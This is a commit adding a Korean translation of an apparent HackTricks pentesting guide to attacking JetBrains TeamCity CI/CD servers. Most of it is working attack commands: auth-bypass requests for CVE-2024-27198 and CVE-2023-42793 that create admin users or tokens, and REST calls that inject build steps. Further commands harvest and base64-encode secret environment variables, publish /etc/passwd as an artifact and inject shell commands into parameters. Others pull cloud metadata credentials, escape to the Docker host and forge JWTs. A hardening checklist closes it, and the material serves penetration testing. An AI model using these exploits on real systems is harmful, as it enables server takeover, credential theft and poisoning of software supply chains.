Translated ['src/pentesting-ci-cd/teamcity-security/README.md'] to ko

This commit is contained in:
Translator
2026-05-26 19:36:03 +00:00
parent 042b3cec9c
commit d796deb996
@@ -0,0 +1,650 @@
# TeamCity Security
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
[TeamCity](https://www.jetbrains.com/teamcity/)는 JetBrains의 CI/CD 서버입니다. **TeamCity Cloud**로 또는 **TeamCity On-Premises**로 실행할 수 있습니다. 실제 환경에서는 on-premises 제품이 가장 흥미로운 대상인데, 일반적으로 private repositories, deployment credentials, internal networks, cloud build agents에 연결되어 있기 때문입니다.
TeamCity installation은 보통 다음으로 구성됩니다:
- **TeamCity server**: Java web application 및 scheduler입니다. users, permissions, projects, build configurations, VCS roots, tokens, artifacts metadata, build history, integrations를 저장합니다. 기본 HTTP port는 **8111**입니다.
- **Projects and subprojects**: build configurations, templates, parameters, VCS roots, connections, permissions를 위한 container입니다.
- **Build configurations**: VCS checkout rules, triggers, build steps, agent requirements, artifact rules, snapshot dependencies, artifact dependencies를 정의하는 jobs입니다.
- **Pipelines / Kotlin DSL / XML settings**: build configuration은 UI에서 관리하거나 VCS에 저장할 수 있으며, 일반적으로 Kotlin DSL을 사용하는 `.teamcity/` directory에 저장됩니다.
- **Build agents**: server를 poll하고, code를 checkout하며, build settings와 secrets를 받고, build steps를 실행하고, logs/artifacts를 server로 다시 publish하는 worker machines입니다. agent는 보통 한 번에 하나의 build만 실행하며 physical, VM, container, 또는 cloud-launched일 수 있습니다.
- **Agent pools**: 어떤 projects가 어떤 agents에서 실행될 수 있는지 제한하는 방법입니다. public/untrusted builds와 production deployment builds가 공존할 때 특히 중요합니다.
- **VCS roots and connections**: GitHub, GitLab, Bitbucket, Azure DevOps, Perforce, Subversion, 그리고 다른 repository integrations입니다. 이들은 종종 PATs, refreshable tokens, SSH keys, 또는 OAuth-backed tokens를 보유합니다.
- **Build parameters**: configurations와 builds에서 사용할 수 있는 값입니다. `env.*` parameters는 environment variables가 되고, `system.*` parameters는 system properties가 되며, password parameters는 masked되지만 build code에서 여전히 사용할 수 있습니다.
> [!WARNING]
> TeamCity itself는 builds에서 실행되는 code를 변경할 수 있는 users가 build-agent OS user가 할 수 있는 일을 할 수 있고, agent의 resources에 접근할 수 있으며, 자신들의 builds가 실행되는 configurations의 settings를 retrieve할 수 있고, 잠재적으로 같은 agent를 공유하는 다른 projects에 영향을 줄 수 있다고 문서화합니다.
## Interesting Ports, Paths & Files
```bash
# Common TeamCity web ports
8111/tcp # Default HTTP TeamCity server
80/tcp # Often reverse-proxied TeamCity
443/tcp # HTTPS reverse proxy or configured HTTPS
```
흥미로운 URLs:
```text
/login.html
/app/rest/server
/app/rest/swagger.json
/guestAuth/app/rest/server
/guestAuth/repository/download/<BuildConfig>/<BuildID>:id/<artifact>
/admin/admin.html
/admin/diagnostic.jsp
/admin/agents.html
/admin/plugins.html
```
서버 compromise 후 흥미로운 local paths:
```text
# Linux defaults seen in common installs
/opt/TeamCity/logs/
/opt/TeamCity/webapps/ROOT/plugins/
/home/teamcity/.BuildServer/config/
/home/teamcity/.BuildServer/plugins/
/home/teamcity/.BuildServer/system/artifacts/
/home/teamcity/.BuildServer/system/buildserver.data
# Windows defaults seen in common installs
C:\TeamCity\logs\
C:\TeamCity\webapps\ROOT\plugins\
C:\ProgramData\JetBrains\TeamCity\config\
C:\ProgramData\JetBrains\TeamCity\plugins\
C:\ProgramData\JetBrains\TeamCity\system\artifacts\
C:\ProgramData\JetBrains\TeamCity\system\buildserver.data
```
agent compromise 후 흥미로운 local paths:
```text
<AGENT_HOME>/conf/buildAgent.properties
<AGENT_HOME>/logs/
<AGENT_HOME>/work/
<AGENT_HOME>/temp/
<AGENT_HOME>/system/
~/.git-credentials
~/.ssh/
~/.docker/config.json
~/.npmrc
~/.m2/settings.xml
~/.aws/
~/.config/gcloud/
```
## TeamCity Permissions To Care About
정확한 permission model은 사용자 정의할 수 있지만, 중요한 기본 role은 다음과 같습니다:
- **System Administrator**: 서버를 완전히 제어. admin이 server settings를 변경하고, plugin을 업로드하고, diagnostics에 접근할 수 있으므로 server OS compromise가 가능하다고 가정하라.
- **Project Administrator**: project를 제어하며, 보통 해당 project 내에서 build configuration, parameters, VCS roots, features, triggers, agent requirements를 생성/편집할 수 있다.
- **Project Developer**: 보통 configuration settings를 보고, build를 실행하고, build results와 상호작용할 수 있다. configuration settings와 runtime data가 종종 secrets를 드러내므로 여전히 민감할 수 있다.
- **Project Viewer / Guest**: read-only access만 있어도 build logs, artifacts, project names, branch names, internal hostnames, dependency paths가 노출될 수 있다.
> [!TIP]
> During a pentest, "low-privileged TeamCity user"에서 멈추지 마라. 해당 user가 custom builds를 실행할 수 있는지, branches를 선택할 수 있는지, parameters를 customize할 수 있는지, settings를 볼 수 있는지, runtime parameters를 볼 수 있는지, artifacts를 다운로드할 수 있는지, 또는 deployment configurations를 trigger할 수 있는지 확인하라.
## Initial Enumeration
### Fingerprint Exposed TeamCity
```bash
export TC="http://teamcity.example.com:8111"
curl -i "$TC/login.html"
curl -i "$TC/app/rest/server"
curl -i "$TC/guestAuth/app/rest/server"
curl -s "$TC/app/rest/swagger.json" | head
```
유용한 징후:
- `TeamCity-Node-Id` HTTP header.
- 로그인 페이지 branding.
- `/app/rest/server`는 authentication이 필요할 때 `401`을 반환합니다.
- guest access가 enabled되어 있으면 `/guestAuth/app/rest/server`가 작동합니다.
### REST API Enumeration With A Token
TeamCity REST API는 일반적으로 `Authorization: Bearer <token>`을 사용합니다.
```bash
export TC="https://teamcity.example.com"
export TCTOKEN="TC..."
alias tcurl='curl -sk -H "Authorization: Bearer $TCTOKEN" -H "Accept: application/json"'
tcurl "$TC/app/rest/server"
tcurl "$TC/app/rest/users/current"
tcurl "$TC/app/rest/users/current/roles"
tcurl "$TC/app/rest/projects?fields=project(id,name,parentProjectId,href,webUrl)"
tcurl "$TC/app/rest/buildTypes?fields=buildType(id,name,projectId,paused,webUrl)"
tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))"
tcurl "$TC/app/rest/agents?fields=agent(id,name,type,connected,enabled,authorized,ip,href,pool(name),properties(property(name,value)))"
tcurl "$TC/app/rest/agentPools"
tcurl "$TC/app/rest/builds?locator=count:20&fields=build(id,number,status,state,branchName,buildTypeId,webUrl)"
```
빌드 configuration의 경우:
```bash
export BT="id:Project_Build"
tcurl "$TC/app/rest/buildTypes/$BT"
tcurl "$TC/app/rest/buildTypes/$BT/parameters"
tcurl "$TC/app/rest/buildTypes/$BT/steps"
tcurl "$TC/app/rest/buildTypes/$BT/features"
tcurl "$TC/app/rest/buildTypes/$BT/triggers"
tcurl "$TC/app/rest/buildTypes/$BT/agent-requirements"
tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies"
tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies"
tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents"
```
### Guest Access Abuse
guest login이 활성화되어 있으면, TeamCity는 `/guestAuth/` URLs를 지원합니다. 기본적으로 guest users는 변경되지 않는 한 모든 projects에 대해 Project Viewer role을 가집니다.
```bash
curl -sk "$TC/guestAuth/app/rest/projects"
curl -sk "$TC/guestAuth/app/rest/buildTypes"
curl -sk "$TC/guestAuth/app/rest/builds?locator=count:50"
```
찾아보세요:
- 실수로 secrets가 출력된 Build logs.
- `.env`, packages, SBOMs, deployment manifests, Terraform plans, kubeconfigs, test reports, database dumps, 또는 internal URLs를 포함한 Artifacts.
- cloud account names, production systems, regions, 또는 internal service names를 드러내는 Project/build names.
- 권한 있는 developers 또는 service users를 식별하는 Commit metadata.
Example artifact download format:
```bash
curl -O "$TC/guestAuth/repository/download/Project_Build/12345:id/artifact.zip"
```
## 공격
### Unauthenticated Takeover: CVE-2024-27198 / CVE-2024-27199
TeamCity On-Premises versions **through 2023.11.3** were affected by two authentication bypasses fixed in **2023.11.4**. CVE-2024-27198 is the critical one because it can expose authenticated REST endpoints to unauthenticated attackers.
우회 여부를 무해한 authenticated endpoint로 fingerprint 하라:
```bash
curl -ik "$TC/hax?jsp=/app/rest/server;.jsp"
```
서버 메타데이터가 인증 없이 반환되면, 해당 인스턴스는 취약합니다. 일반적인 takeover 경로는 admin user를 생성하거나 기존 admin user에 대한 token을 발급하는 것입니다:
```bash
curl -ik "$TC/hax?jsp=/app/rest/users;.jsp" \
-X POST \
-H "Content-Type: application/json" \
--data '{"username":"tc-redteam","password":"ChangeMe-12345!","email":"tc-redteam@example.com","roles":{"role":[{"roleId":"SYSTEM_ADMIN","scope":"g"}]}}'
```
```bash
curl -ik "$TC/hax?jsp=/app/rest/users/id:1/tokens/RedTeamToken;.jsp" -X POST
```
이후에는 인증된 TeamCity 관리자처럼 계속 진행하세요: 프로젝트를 열거하고, secret을 수집하고, agent에서 build를 실행하고, artifact를 검사하고, agent에서 cloud access를 확인하세요.
### Unauthenticated Takeover: CVE-2023-42793
TeamCity On-Premises versions before **2023.05.4** were affected by CVE-2023-42793. The practical impact was unauthenticated administrator-level access and RCE through TeamCity APIs. The widely abused path involved token creation through a route ending in `/RPC2`.
```bash
curl -ik -X POST "$TC/app/rest/users/id:1/tokens/RPC2"
```
사고 영향을 평가하는 경우, 노출 기간 전후로 suspicious token 생성, admin account 생성, plugin 업로드/삭제 이벤트, 그리고 process execution을 확인하세요.
### Admin RCE By Uploading A Plugin
TeamCity server plugins는 서버 기능을 확장하는 ZIP packages입니다. System Administrator는 UI에서 **Administration -> Plugins** 아래에 plugin을 업로드하고, 로드한 뒤, server-side Java code를 실행할 수 있습니다.
Abuse cases:
- 악성 plugin을 업로드해 **TeamCity server**에서 직접 RCE를 수행합니다. agent만이 아닙니다.
- plugin load/delete를 짧게 유지되는 execution path로 사용합니다.
- 내부 integration처럼 보이는 plugin을 통해 persistence를 구축합니다.
확인할 evidence:
```text
teamcity-activities.log
teamcity-server.log
<TeamCity Data Directory>/plugins/
<TeamCity Data Directory>/config/disabled-plugins.xml
<TeamCity Data Directory>/system/caches/plugins.unpacked/
<TeamCity Home>/webapps/ROOT/plugins/
```
### RCE By Creating Or Modifying Build Steps
빌드 구성을 생성하거나 수정할 수 있다면, TeamCity agent는 command execution 대상입니다. **Command Line / Script** runner가 가장 직접적인 옵션입니다.
REST를 통해 command line step을 추가하세요:
```bash
curl -sk "$TC/app/rest/buildTypes/$BT/steps" \
-X POST \
-H "Authorization: Bearer $TCTOKEN" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
--data '{
"name": "diagnostics",
"type": "simpleRunner",
"properties": {
"property": [
{"name": "script.content", "value": "id; uname -a; env | sort"}
]
}
}'
```
빌드를 시작하세요:
```bash
curl -sk "$TC/app/rest/buildQueue" \
-X POST \
-H "Authorization: Bearer $TCTOKEN" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
--data '{"buildType":{"id":"Project_Build"}}'
```
agent에서 유용한 첫 명령어:
```bash
id
hostname
pwd
env | sort
mount
ip addr || ifconfig
ip route || route print
find "$PWD" -maxdepth 3 -type f -name "*.env" -o -name "settings.xml" -o -name "config.json"
```
Windows agents:
```powershell
whoami /all
hostname
Get-ChildItem Env: | Sort-Object Name
ipconfig /all
route print
Get-ChildItem -Recurse -Force $env:USERPROFILE\.ssh,$env:USERPROFILE\.aws -ErrorAction SilentlyContinue
```
### 더 흥미로운 Agent 타겟팅
Build configuration은 agent requirements를 가질 수 있고, custom build는 특정 agent를 선택할 수 있게 할 수도 있습니다. 이는 한 agent가 production network reachability, Docker access, mobile signing keys, cloud roles, 또는 deployment tooling을 가지고 있을 때 중요합니다.
호환되는 agent를 열거하십시오:
```bash
tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents?fields=agent(id,name,ip,pool(name),properties(property(name,value)))"
```
권한이 허용하는 경우 특정 agent에서 build를 큐에 넣으세요:
```bash
curl -sk "$TC/app/rest/buildQueue" \
-X POST \
-H "Authorization: Bearer $TCTOKEN" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
--data '{"buildType":{"id":"Project_Build"},"agent":{"id":"42"}}'
```
또는 valuable agent class를 강제하기 위해 agent requirement를 추가하세요:
```bash
curl -sk "$TC/app/rest/buildTypes/$BT/agent-requirements" \
-X POST \
-H "Authorization: Bearer $TCTOKEN" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
--data '{
"type":"equals",
"properties":{"property":[
{"name":"property-name","value":"teamcity.agent.name"},
{"name":"property-value","value":"prod-deploy-agent-01"}
]}
}'
```
### Build Parameters 및 Password Parameters 덤프
Parameters는 projects와 templates에서 상속되므로, project 및 build configuration 범위를 모두 열거하라:
```bash
tcurl "$TC/app/rest/projects/id:Project/parameters"
tcurl "$TC/app/rest/buildTypes/id:Project_Build/parameters"
```
흥미로운 이름:
```text
env.AWS_ACCESS_KEY_ID
env.AWS_SECRET_ACCESS_KEY
env.GITHUB_TOKEN
env.NPM_TOKEN
env.DOCKER_AUTH_CONFIG
system.deploy.password
system.oauth.clientSecret
vcsroot.<id>.password
teamcity.configuration.properties.file
```
중요한 caveats:
- Password parameters는 UI/logs에서 masked되지만, 이를 정당하게 받는 모든 code는 이를 exfiltrate하거나 transform할 수 있다.
- Project administrators는 종종 settings access를 통해 raw parameter values를 retrieve할 수 있다.
- TeamCity security notes는 build code를 modify할 수 있는 users가 해당 build에서 사용된 password values를 retrieve할 수 있다고 경고한다.
- versioned settings가 VCS에 stored되어 있으면, settings repo에 access가 있는 users는 server encryption configuration과 key exposure에 따라 scrambled/encrypted settings에서 values를 recover할 수 있다.
Build-step exfil pattern:
```bash
python3 - <<'PY'
import base64, os, json
interesting = {k:v for k,v in os.environ.items() if any(x in k.upper() for x in ["TOKEN","SECRET","PASSWORD","KEY","AWS","AZURE","GOOGLE","GITHUB","NPM","DOCKER"])}
print(base64.b64encode(json.dumps(interesting).encode()).decode())
PY
```
### Poison Versioned Settings / Kotlin DSL
versioned settings가 활성화되어 있고 `.teamcity/`에 대해 TeamCity가 신뢰하는 branch/repository에 쓸 수 있다면, pipeline definition 자체를 수정할 수 있습니다.
일반적인 target:
- build configuration에 새로운 `script` step을 추가.
- `agentRequirements`를 변경해 더 privileged agent에서 실행.
- 민감한 파일을 publish하도록 artifact rules를 추가.
- 다른 build에서 data를 가져오도록 snapshot/artifact dependencies를 추가.
- persistence를 위해 VCS triggers를 추가.
- VCS roots 또는 checkout rules를 변경.
Minimal Kotlin DSL malicious step:
```kotlin
import jetbrains.buildServer.configs.kotlin.*
import jetbrains.buildServer.configs.kotlin.buildSteps.script
object Build : BuildType({
name = "Build"
steps {
script {
name = "diagnostics"
scriptContent = "id; env | base64"
}
}
})
```
> [!CAUTION]
> 이는 TeamCity에서 가장 영향이 큰 misconfiguration 중 하나입니다: build settings를 application source와 같은 repository에 저장하면, 그 source branch를 수정할 수 있는 사람은 누구나 CI/CD control plane을 수정할 수 있을 수 있습니다.
### Pull Request / Untrusted Build Abuse
TeamCity는 GitHub, GitLab, Bitbucket, Azure DevOps, 그리고 JetBrains Space의 pull requests를 build할 수 있습니다. public repository가 **Everybody**에서 pull requests를 build하도록 설정되어 있으면, 외부 attacker가 PR을 열어서 TeamCity agent에서 code execution을 얻을 수 있습니다.
다음을 확인하세요:
- 허용적인 author filter가 있는 Pull Requests build feature.
- `refs/pull/*` 같은 pull request branches를 매칭하는 VCS triggers.
- 누락되었거나 비활성화된 **Untrusted Builds** review.
- trusted/prod builds와 같은 pools에서 실행되는 PR builds.
- PR builds에서 사용할 수 있는 password parameters 또는 deployment credentials.
- PR branches에서 로드되는 versioned settings.
untrusted code에서의 abuse primitives:
```bash
env | sort
echo "##teamcity[publishArtifacts '$PWD => workspace.zip']"
echo "##teamcity[setParameter name='env.PATH' value='/tmp/bin:%env.PATH%']"
```
또한 PR에서 제어되는 값을 보간하는 빌드 스크립트도 검토하세요:
```text
%teamcity.pullRequest.title%
%teamcity.pullRequest.source.branch%
%teamcity.pullRequest.target.branch%
%teamcity.build.branch%
```
shell, PowerShell, SQL, Docker tags, package names, 또는 deployment arguments에 해당 값이 quoting/validation 없이 삽입되면, command injection 및 logic manipulation을 test하세요.
### Run Custom Build Parameter Injection
build configuration을 편집할 수 없는 users도 modified branch, agent, 또는 parameter values로 custom builds를 실행할 수 있습니다.
```bash
curl -sk "$TC/app/rest/buildQueue" \
-X POST \
-H "Authorization: Bearer $TCTOKEN" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
--data '{
"buildType":{"id":"Project_Build"},
"branchName":"refs/heads/attacker-controlled-branch",
"properties":{"property":[
{"name":"env.DEPLOY_ENV","value":"prod; id #"},
{"name":"system.release.version","value":"1.2.3$(id)"}
]}
}'
```
다음과 같은 스크립트를 찾아보세요:
```bash
deploy --env %env.DEPLOY_ENV%
docker build -t registry/app:%system.release.version% .
git checkout %teamcity.build.branch%
```
### Service Message Abuse
TeamCity는 build step에서 출력되는 특별히 형식화된 output을 파싱한다. 공격자가 제어하는 code가 build에서 실행되면, 이후 step과 server가 build를 이해하는 방식에 영향을 줄 수 있다.
유용한 message:
```bash
# Publish arbitrary files as artifacts
echo "##teamcity[publishArtifacts '/etc/passwd => loot/system.txt']"
# Modify parameters for following steps
echo "##teamcity[setParameter name='env.NEXT_STEP_FLAG' value='attacker-controlled']"
# Poison the build number displayed/published downstream
echo "##teamcity[buildNumber '9999-backdoored']"
# Hide noisy output in collapsed blocks
echo "##teamcity[blockOpened name='integration tests']"
echo "##teamcity[blockClosed name='integration tests']"
```
downstream release jobs가 upstream job의 build status, build number, tags, artifact names, 또는 output parameters를 신뢰할 때 이 상황은 더 위험해집니다.
### Artifact & Dependency Poisoning
TeamCity build chain은 종종 build 간에 artifacts를 이동합니다. 권한이 있는 downstream build가 소비하는 artifacts를 publishing하는 upstream build를 영향을 줄 수 있다면, 다음을 poison해 보세요:
- JAR/WAR/NuGet/npm/PyPI packages.
- Docker build contexts.
- Terraform plan files.
- Helm charts and Kubernetes manifests.
- SBOM/provenance files.
- 이후 단계에서 소비되는 test fixtures 또는 generated code.
build에서 controlled artifact를 publish합니다:
```bash
mkdir -p out
cp payload.jar out/app.jar
echo "##teamcity[publishArtifacts 'out/** => release.zip']"
```
그런 다음 artifact dependencies를 inspect하세요:
```bash
tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies"
tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies"
```
### Agent Cloud Pivoting
If the agent runs in AWS, Azure, GCP, Kubernetes, or an internal VM network, the build is a pivot point.
AWS IMDS:
```bash
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"
```
IMDSv1가 허용된 경우 대체:
```bash
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"
```
Azure IMDS:
```bash
curl -s -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
```
GCP metadata:
```bash
curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
SA=$(curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/")
curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${SA}token"
```
Kubernetes:
```bash
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
```
Docker escape checks:
```bash
ls -la /var/run/docker.sock
docker ps
docker run --rm -it -v /:/host alpine chroot /host sh
```
### 내부 서비스로 Pivot
Build agents는 종종 package registries, artifact stores, deployment APIs, databases, 그리고 internal admin panels에 접근할 수 있습니다.
```bash
for h in vault.service.consul nexus.internal registry.internal kube-api.internal grafana.internal; do
echo "### $h"
curl -sk --connect-timeout 2 "https://$h/" | head
done
```
TeamCity parameters, cloud secret stores, artifacts, 또는 repo files에서 공유 JWT/HMAC secret을 훔친 후, weak internal services용 token을 forge하세요:
```python
import jwt, time
secret = "leaked-hs256-secret"
payload = {"sub":"admin","role":"admin","iat":int(time.time()),"exp":int(time.time())+3600}
print(jwt.encode(payload, secret, algorithm="HS256"))
```
### VCS Root & Repository Credential Abuse
VCS roots and connections are often more valuable than TeamCity itself.
Look for:
- HTTP(S) VCS roots using username/password or PAT.
- SSH private keys uploaded to TeamCity.
- GitHub App / OAuth / refreshable token connections.
- Commit Status Publisher tokens.
- Pull Request feature tokens.
- Build steps that write to repositories, tags, releases, packages, or workflow files.
REST enumeration:
```bash
tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))"
tcurl "$TC/app/rest/projects/id:Project/features"
```
사후 침해 영향:
- 저장소에 악성 commit/tag를 푸시합니다.
- release tag를 이동합니다.
- 악성 package 버전을 publish합니다.
- tester가 원래 access 권한이 없던 private repo를 읽습니다.
- GitHub Actions 같은 다른 platform을 위한 CI/CD config를 추가합니다.
- service identity에 write access가 있으면 이를 사용해 PR을 open/merge합니다.
### Debug & Diagnostics Endpoints
일부 위험한 debug 기능은 admin permissions와 internal properties로 보호됩니다. 활성화되면 TeamCity database 또는 process execution이 노출될 수 있습니다.
예시 database query setting:
```properties
rest.debug.database.allow.query.prefixes=select
```
이것이 활성화되면, admin token이 내부 데이터를 query할 수 있습니다:
```bash
curl -sk "$TC/app/rest/debug/database/query/SELECT+ID,USERNAME,PASSWORD+FROM+USERS" \
-H "Authorization: Bearer $TCTOKEN"
```
또한 `/app/rest/debug/processes`가 your role에서 접근 가능한지 확인하세요. 활성화된 debug endpoint는 모두 잠재적인 direct server compromise path로 간주하세요.
### Agent-Server Trust & Rogue Agent Angles
Agents는 server를 폴링하고 build settings, repository sources, access credentials/keys, build logs, artifact data를 받습니다. agent-to-server communication이 plain HTTP이거나 attacker가 network path를 제어하면, secrets와 source code가 노출될 수 있습니다.
Check:
```bash
grep -i '^serverUrl=' <AGENT_HOME>/conf/buildAgent.properties
grep -i 'authorizationToken\|name=' <AGENT_HOME>/conf/buildAgent.properties
```
악용 경로:
- 하나의 agent를 compromise하고, agents가 재사용되는 경우 다른 프로젝트의 work directories를 검사한다.
- clean checkout이 강제되지 않으면, 나중 builds를 위해 checked-out source 또는 cached dependencies를 수정한다.
- agent authorization token/configuration을 훔친다.
- project agents를 authorize할 권한이 있거나 admins가 새 agents를 자동으로 authorize하는 경우 rogue agent를 등록한다.
- compromised host에서 기존 agent를 impersonate한다.
### Logs, Artifacts & Data Directory As Secrets
TeamCity security notes는 TeamCity Data Directory, server logs, 또는 build artifacts에 대한 read access가 secrets를 노출하거나 administrator escalation으로 이어질 수 있다고 명시적으로 경고한다.
특정 escalation path 하나는 **Super User Access**이다: TeamCity는 `teamcity-server.log`에 기록된 token으로 system administrator로 login하는 것을 허용할 수 있다. logs가 약하게 보호되는 log platform으로 전달되거나 non-admin OS users가 읽을 수 있다면, super-user tokens를 검색하라.
Hunt:
```bash
grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" /opt/TeamCity/logs 2>/dev/null
grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" ~/.BuildServer/config ~/.BuildServer/system/artifacts 2>/dev/null
```
Build logs에는 종종 다음이 포함됩니다:
- 확장된 command line.
- arguments에 credentials가 포함된 실패한 deployment commands.
- Docker login output.
- npm/pip/maven publishing errors.
- Cloud CLI debug output.
- 내부 service URLs.
### Persistence Ideas
허가된 red team assessment 동안 유용한 persistence techniques:
- service/admin user 아래에 그럴듯한 이름의 access token 생성.
- 거의 검토되지 않는 configuration에 low-noise build trigger 추가.
- 기존 deployment step에서 사용되는 project parameter 추가.
- 나중에 다시 활성화할 수 있는 hidden 또는 disabled build step 추가.
- 정당한 project 아래에 새로운 VCS root 또는 connection 추가.
- 내부 integration처럼 보이는 plugin 추가.
- builds를 attacker-controlled infrastructure로 라우팅하는 새로운 agent pool / cloud profile / agent requirement 추가.
- settings repository의 Kotlin DSL 수정.
TeamCity compromise 이후 defenders가 검토해야 할 사항:
```text
teamcity-activities.log
teamcity-server.log
teamcity-javaLogging*.log
User access tokens
Recently created users/groups/roles
Plugin upload/load/delete events
Build configuration diffs
Versioned settings commits
VCS root credential changes
Agent authorization changes
Build triggers and schedules
Suspicious artifact publications
```
## Hardening Checklist
- TeamCity On-Premises를 완전히 최신 상태로 유지하세요; 오래된 auth bypasses가 있는 노출된 서버는 고가치 대상입니다.
- 강력한 access controls, SSO/MFA, network filtering, 빠른 patching이 갖춰져 있지 않다면 TeamCity를 인터넷에 직접 노출하지 마세요.
- production 서버에서는 Guest Login을 비활성화하세요.
- 서버 logs가 내보내지거나 널리 읽을 수 있다면 `teamcity.superUser.disable=true`를 사용해 Super User Access를 비활성화하세요.
- 광범위한 Project Administrator 권한 부여 대신 최소 권한 그룹과 custom roles를 사용하세요.
- REST automation에는 수명이 짧은 scoped tokens를 사용하세요.
- versioned settings를 사용한다면 build settings를 별도의 보호된 repository에 두세요.
- fork에서 오는 PR builds는 hostile하다고 간주하세요; Untrusted Builds, manual approval, 격리된 disposable agents를 사용하세요.
- 전용 agent pools로 public/untrusted builds와 deployment builds를 분리하세요.
- 민감한 builds에는 disposable agents를 사용하고 clean checkout을 강제하세요.
- parameters에 오래 지속되는 cloud/static credentials를 두지 마세요; 가능하면 cloud OIDC/workload identity를 선호하세요.
- AWS agents에서는 IMDSv2를 요구하고 containers에서 metadata access를 제한하세요.
- agents를 낮은 권한의 OS users로 실행하고, 엄격히 필요한 경우가 아니면 Docker socket 마운트를 피하세요.
- agent-to-server traffic에는 HTTPS를 사용하세요.
- plugin 설치는 신뢰된 admins로 제한하고 plugin 변경 사항을 검토하세요.
- server logs와 TeamCity Data Directory는 TeamCity server OS account와 admins만 읽을 수 있도록 하세요.
- 기본 scrambling mechanism에 의존하지 말고 secure values에는 custom encryption key를 사용하세요.
- 조사 목적으로 build history/logs를 보존하고 builds 삭제 권한을 제한하세요.
## References
- [JetBrains - TeamCity Build Agents](https://www.jetbrains.com/help/teamcity/build-agent.html)
- [JetBrains - TeamCity REST API](https://www.jetbrains.com/help/teamcity/rest/teamcity-rest-api-documentation.html)
- [JetBrains - Manage Build Configuration Details via REST](https://www.jetbrains.com/help/teamcity/rest/manage-build-configuration-details.html)
- [JetBrains - Build Parameters](https://www.jetbrains.com/help/teamcity/configuring-build-parameters.html)
- [JetBrains - Typed / Password Parameters](https://www.jetbrains.com/help/teamcity/typed-parameters.html)
- [JetBrains - Security Notes](https://www.jetbrains.com/help/teamcity/security-notes.html)
- [JetBrains - Pull Requests](https://www.jetbrains.com/help/teamcity/pull-requests.html)
- [JetBrains - Untrusted Builds](https://www.jetbrains.com/help/teamcity/untrusted-builds.html)
- [JetBrains - Service Messages](https://www.jetbrains.com/help/teamcity/service-messages.html)
- [JetBrains - TeamCity Data Directory](https://www.jetbrains.com/help/teamcity/teamcity-data-directory.html)
- [JetBrains - Installing Additional Plugins](https://www.jetbrains.com/help/teamcity/installing-additional-plugins.html)
- [JetBrains - CVE-2024-27198 and CVE-2024-27199 advisory](https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/)
- [Rapid7 - CVE-2024-27198 and CVE-2024-27199 technical analysis](https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/)
- [SonarSource - CVE-2023-42793 TeamCity vulnerability](https://www.sonarsource.com/blog/teamcity-vulnerability)
- [CISA - SVR actors exploiting TeamCity CVE-2023-42793](https://www.cisa.gov/news-events/alerts/2023/12/13/cisa-and-partners-release-advisory-russian-svr-affiliated-cyber-actors-exploiting-cve-2023-42793)
{{#include ../../banners/hacktricks-training.md}}